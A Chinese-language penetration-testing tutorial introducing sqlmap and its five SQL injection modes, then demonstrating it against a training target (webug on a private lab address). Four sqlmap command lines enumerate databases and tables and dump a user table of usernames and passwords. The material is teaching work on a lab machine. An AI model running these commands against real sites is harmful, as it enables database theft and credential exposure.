sqlmap简介

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。

它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

它支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的安全漏洞检测。

它支持五种不同的注入模式:



基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

联合查询注入,可以使用union的情况下的注入;

堆查询注入,可以同时执行多条语句的执行时的注入。


sqlmap的安装方式很简单。只需要在python2.7的环境下执行 pip install sqlmap即可,开袋即食。

 

靶机演示

接着上一篇 sql手工注入  我们来做一个sqlmap演示

安全测试基础2-sqlmap演练_数据库

最简单粗暴的方式,我们直接敲命令爆库。可以暴露出当前系统下所有的数据库名称



sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" --batch --dbs


安全测试基础2-sqlmap演练_sql_02

 

或者我们的吃相不希望那么难看,只想要当前sql下对应的数据库名称



sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" -p gid --current-db


安全测试基础2-sqlmap演练_字段_03

 

接着我们来爆表名。暴露出 pentesterlab 数据下的四张表。

 



sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" -p gid  -D  pentesterlab --tables


安全测试基础2-sqlmap演练_数据_04

 

接下来是暴露表字段。我们需要dump user表下面的字段信息并保存到本地文件。俗称脱裤。



sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" -p gid  -D  pentesterlab -T user --dump


安全测试基础2-sqlmap演练_字段_05

这样,我们靶机的系统用户名和密码就全部暴露出来了。是不是很简单?

安全测试基础2-sqlmap演练_数据库_06

 

演示视频:https://asciinema.org/a/46601